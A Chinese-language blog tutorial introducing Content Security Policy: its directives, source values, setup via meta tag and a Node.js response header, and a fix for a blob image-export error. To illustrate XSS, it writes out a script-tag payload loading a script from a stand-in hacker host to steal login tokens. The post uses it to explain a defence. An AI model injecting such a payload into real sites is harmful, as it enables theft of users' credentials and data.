CSP 内容安全策略入门

导语

最近在修复公司系统一个图片导出的功能,无法导出图片

,拒绝加载图片 blob:http://xxxx,违反 Content Security Policy, 于是就 google 一把,这个是什么玩意?

Content Security Policy

这是网站安全方面的内容了,对于网站跨域的问题错误不少见,跨域是由于同源策略导致的,只允许加载来自自身的origin 域的数据,即 a.com 是不能加载来自 b.com 的数据的,这样就解决大部分的安全问题,恶意代码就无法在浏览器端执行获取用户的安全隐私。毕竟,“道高一丈,魔高一尺”,恶意方总有方法绕过同源策略的限制,如XSS跨站脚本攻击,比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中输入

<script src="http://www.hacker.org/xss.payload.js"></script>
复制代码

,xss.payload.js可以获取老浏览用户的信息,如的登录token、用户的个人资料等。以前的防御手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在做字符串验证,非常的让人不舒服。所以W3 org引入了CSP,它从另外一层面给浏览器提供了保护。

看看 MDN Content Security Policy的解释:

内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。

原理

CSP 通过告诉浏览器一系列的规则,严格规定页面中哪些资源允许有哪些资源,不在指定范围内的统统拒绝,这样一来,从源头上杜绝了不可信的xss payload。

规则

无论是在 <meta> 标签还是在 header 中指定,其值的格式是统一的,都由一系列的指令组成的。

Content-Security-Policy: <policy-directive>; <policy-directive>
复制代码

这里的指令是CSP 规定中用以详细描述某种资源的判断,比如前面的错误图片中,img-src 指定图片,下面列出一些常用的指令

  • child-src:为web workers和其他内嵌浏览器内容(例如用和加载到页面的内容)定义合法的源地址。
  • connect-src:限制能通过脚本接口加载的UR
  • default-src:为其他取指令提供备用服务fetch directives。
  • font-src:设置允许通过@font-face加载的字体源地址。
  • img-src: 限制图片和图标的源地址
  • frame-src: 设置允许通过类似和标签加载的内嵌内容的源地址
  • 限制application manifest文件的源地址。
  • object-src:限制、、标签的源地址。
  • media-src:限制通过、或标签加载的媒体文件的源地址。
  • prefetch-src :指定预加载或预渲染的允许源地址。
  • script-src:限制JavaScript的源地址。
  • style-src:限制层叠样式表文件源。
  • worker-src:限制Worker、SharedWorker或者ServiceWorker脚本源。

更多指令,见 MDN

指令可接受的值

指令后面跟的来源,有两种写法:

  • 预设值
  • URI 通配符
预设值
  • none 不匹配任何东西。
  • self 匹配当前域,但不包括子域。比如 example.com 可以,api.example.com 则会匹配失败。
  • unsafe-inline 允许内嵌的脚本及样式。
  • unsafe-eval 允许通过字符串动态创建的脚本执行,比如 eval,setTimeout 等
URI

除了上面配置的预设值,还可以通过提供完整的URI或带通配符 * 的地址来匹配,以指定资源的合法来源,跟配置跨域的相应头一致,参考Same-origin_policy

实现途径

默认情况下,如果站点未指定 CSP 规则,浏览器不会默认开启,只受同源策略的影响。

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>CSP 安全策略</title>
    <style>
      h1 {
        color: cornflowerblue;
      }
    </style>
  </head>
  <body>
    <h1>Hello CSP !</h1>
    <script>
      window.onload = () => alert("Hi, Jecyu");
    </script>
  </body>
</html>

复制代码

HTML 中添加 标签来指定 Content-Security-Policy 规则
 <head>
    ...
     <meta http-equiv="Content-security-Policy" content="default-src 'self'" />
   ...
  </head>
   
复制代码

效果:

配置站点默认只信息同域的资源,但注意,这个设置并不包含内联的情况,所以结果会如上图。如何修复它呢。如果我们想要允许页面内的内联脚本或样式,则可以通过添加unsafe-inline 指令值来修复。

<meta  http-equiv="Content-security-Policy"  content="default-src 'self' 'unsafe-inline'"
    />
复制代码

default-src,如果指定了它的值,则相当于改变了这些未指定的指令的默认值。可以理解为,上面 style-src 如果没指定,本来其默认值是 *,可以加载所有来源的样式,但设置 default-src 后,默认值就成了 default-src 指定的值。

服务器添加 Content-Security-Policy 响应头来指定规则

这里使用 node.js

const http = require("http");
const fs = require("fs");
const PORT = 8088;
const path = require("path");
console.log();
// 创建一个 http 服务
const server = http.createServer((request, response) => {
  response.setHeader("Content-Type", "text/html;charset='utf-8'");
  response.setHeader("Access-Control-Allow-Origin", "*");
  response.setHeader(
    "Content-security-Policy",
    "default-src 'self' 'unsafe-inline'"
  );
  // 读文件
  fs.readFile(path.resolve(__dirname, "./index.html"), function(err, data) {
    if (err) {
      console.log(`index.html loading is failed` + err);
    } else {
      // 返回 HTML 页面
      response.end(data);
    }
  });
});

// 启动服务,监听端口
server.listen(PORT, () => {
  console.log("服务启动成功,正在监听: ", PORT);
});

复制代码

优先级
  • 对于设置了多次响应头的情况,最严格的规则会生效(无论是在 中,还是 header 中)
  • 同一指令多次指定,以第一个为准,后续的会被忽略。

解决图片导出的问题

看看了请求首页的请求响应参数,如下:

通过前面的学习后,得知可以通过HTML或者Header进行对 CSP 规则的设置,从而避开限制。这里并没有设置 img-src,由于设置 default-src 'self' data: *;,因此图片只能加载同域的图片data:前缀的值

解决方案一:添加 img-src 指令

从图片可知直接设置 img-src *没有包括 blob的数据规则, 来自 content-security-policy.com

因此,需要添加声明规则,default-src blob: *img-src blob: *

解决方案二: 转换图片的格式

在动态设置图片src的时候,先把blob 转为 base64 形式,这样就符合了 CSR 的设置规则了,图片就可以添加到 HTML中了。

   var base64data = "";
   xhr.onload = function() {
          img = new Image();
          var reader = new window.FileReader();
          reader.readAsDataURL(this.response);
          reader.onloadend = function() {
            base64data = reader.result;
            img.src = base64data;
          };
          img.addEventListener(
            "load",
            function() {
              deferred.resolve(img);
              URL.revokeObjectURL(_url);
            },
            false
          );
          img.addEventListener("error", function(errorEvent) {
            deferred.resolve({
              error: errorEvent,
              image: img
            });
            URL.revokeObjectURL(_url);
          });
        };
        xhr.onerror = function() {
          var img = new Image();
          deferred.resolve(img);
        };
        xhr.open("GET", url, true);
        xhr.responseType = "blob";
        xhr.send();
      }
复制代码

浏览器兼容性

(全文完)

进一步阅读

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值